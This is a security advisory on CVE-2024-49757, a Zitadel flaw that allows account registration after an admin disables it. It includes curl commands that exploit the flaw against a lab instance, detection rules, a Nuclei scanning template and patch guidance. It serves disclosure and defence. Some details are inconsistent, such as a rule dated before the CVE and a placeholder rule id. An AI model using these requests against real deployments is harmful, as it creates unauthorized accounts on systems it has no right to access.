CVE-2024-49757

Executive Summary

CVE-2024-49757 is a critical security vulnerability in Zitadel, an open-source identity infrastructure platform. The flaw allows an unauthenticated attacker to bypass the administrator-configured "User Registration allowed" restriction. While the UI button to register is hidden, the backend endpoint /ui/login/register remains accessible, enabling unauthorized user account creation. This bypass can lead to unauthorized access to the application, data exposure, and potential privilege escalation. The vulnerability has a CVSS score of 7.5 (High) and is trivial to exploit.

Supply Chain & Package Security

Zitadel is a Go-based application. The vulnerability exists in the application's own code, not in a third-party package. However, organizations using Zitadel as part of their identity infrastructure should treat this as a critical supply chain risk, as a compromised Zitadel instance can lead to broader system compromise.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) - Exploitable remotely.
• Attack Complexity: Low (AC:L) - No special conditions required.
• Privileges Required: None (PR:N) - No authentication needed.
• User Interaction: None (UI:N) - No user action required.
• Scope: Unchanged (S:U) - The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) - Unauthorized account creation can lead to data exposure.
• Integrity Impact: None (I:N) - The vulnerability does not directly modify data.
• Availability Impact: None (A:N) - The vulnerability does not affect system availability.

Threat Level: High. The exploit is simple (direct HTTP request), requires no authentication, and can lead to unauthorized access to the application.

Deep Dive & Mechanics

The vulnerability stems from a missing server-side authorization check. When an administrator disables "User Registration allowed" in the Zitadel console, the frontend hides the registration button. However, the backend endpoint /ui/login/register does not validate whether registration is enabled. An attacker can directly send a GET request to this endpoint, which returns the registration form. Submitting the form creates a new user account, bypassing the intended restriction.

The root cause is a lack of a check in the handler for the registration endpoint. The fix involves adding a server-side check to verify that the UserRegistrationAllowed policy is set to true before serving the registration page or processing the registration request.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

func (h *Handler) serveRegister(w http.ResponseWriter, r *http.Request) {
    // Missing check for registration policy
    h.renderRegisterPage(w, r)
}

Patched Code (Conceptual):

func (h *Handler) serveRegister(w http.ResponseWriter, r *http.Request) {
    if !h.authRepo.IsRegistrationAllowed() {
        http.Error(w, "Registration is not allowed", http.StatusForbidden)
        return
    }
    h.renderRegisterPage(w, r)
}

The patched code adds a call to IsRegistrationAllowed() before rendering the registration page. If registration is disabled, the server returns a 403 Forbidden status.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Setup: Deploy a vulnerable Zitadel instance (e.g., version 2.58.6) using Docker.

   docker run -d --name zitadel-vuln -p 8080:8080 ghcr.io/zitadel/zitadel:v2.58.6
   

2. Verify: Access the login page at http://localhost:8080/ui/login/loginname. The registration button should be hidden if the admin disabled it.
3. Exploit: Send a GET request to the registration endpoint.

   curl -v http://localhost:8080/ui/login/register
   

   The response will contain the registration form (e.g., "Enter your Userdata").
4. Register: Submit the registration form with desired credentials.

   curl -X POST http://localhost:8080/ui/login/register \
     -d "username=attacker&password=Password123&email=attacker@example.com"
   

5. Access: Log in with the newly created account.

Blue Team (Detection & Prevention)

1. Monitor Logs: Look for requests to /ui/login/register from unexpected IPs or at unusual times.
2. Network Detection: Deploy a WAF rule to block requests to /ui/login/register if registration is disabled.
3. Honeypot: Create a fake registration endpoint that logs attacker activity.
4. Patch: Immediately upgrade to a patched version.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /ui/login/register returning a 200 OK status.
  • HTTP POST requests to /ui/login/register with form data.
• Logs:
  • Successful user registration events in Zitadel audit logs when registration is supposed to be disabled.
  • New user accounts created outside of normal business hours.
• File System:
  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2024_49757_Zitadel_Registration_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2024-49757 in Zitadel logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-49757"
    strings:
        $s1 = "/ui/login/register" ascii wide nocase
        $s2 = "Registration is not allowed" ascii wide nocase
    condition:
        $s1 and not $s2
}

Sigma Rule

title: Zitadel Registration Bypass Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to bypass disabled user registration in Zitadel
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-49757
logsource:
    category: webserver
    product: zitadel
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/ui/login/register'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate registration attempts if registration is enabled
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-49757 Zitadel Registration Bypass Attempt"; flow:to_server; content:"GET"; http_method; content:"/ui/login/register"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2024-49757

info:
  name: Zitadel - User Registration Bypass
  author: Sujal Tuladhar
  severity: high
  description: |
    The open-source identity infrastructure software Zitadel allows administrators to disable the user self-registration. Due to a missing security check in versions prior to 2.64.0, 2.63.5, 2.62.7, 2.61.4, 2.60.4, 2.59.5, and 2.58.7, disabling the "User Registration allowed" option only hid the registration button on the login page. Users could bypass this restriction by directly accessing the registration URL (/ui/login/loginname) and register a user that way. Versions 2.64.0, 2.63.5, 2.62.7, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 contain a patch. No known workarounds are available.
  impact: |
    Unauthenticated users can bypass the disabled user registration restriction and register accounts.
  remediation: |
    Update Zitadel to version 2.64.0, 2.63.5, 2.62.7, 2.61.4, 2.60.4, 2.59.5, or 2.58.7 or later.
  reference:
    - https://github.com/zitadel/zitadel/releases/tag/v2.62.7
    - https://nvd.nist.gov/vuln/detail/CVE-2024-49757
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-49757
    cwe-id: CWE-287
    epss-score: 0.10774
    epss-percentile: 0.93372
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Zitadel"
  tags: cve,cve2024,register,zitadel,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ui/login/register"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Registration is not allowed (Internal)"
        negative: true

      - type: word
        part: body
        words:
          - "Enter your Userdata"
          - "zitadel"
        condition: and
        case-insensitive: true

      - type: status
        status:
          - 200

Remediation & Mitigation

1. Immediate Action: Upgrade Zitadel to a patched version (2.64.0, 2.63.5, 2.62.7, 2.61.4, 2.60.4, 2.59.5, or 2.58.7).
2. Workaround: If immediate patching is not possible, implement a reverse proxy rule to block access to /ui/login/register when registration is disabled.

   location /ui/login/register {
       deny all;
       return 403;
   }
   

3. Monitoring: Enable detailed logging for all registration attempts and monitor for anomalies.
4. Audit: Review existing user accounts for any unauthorized registrations.

Valters IT

{/* [Security Hash: 44B3643B3FDD721BD2E26365] */}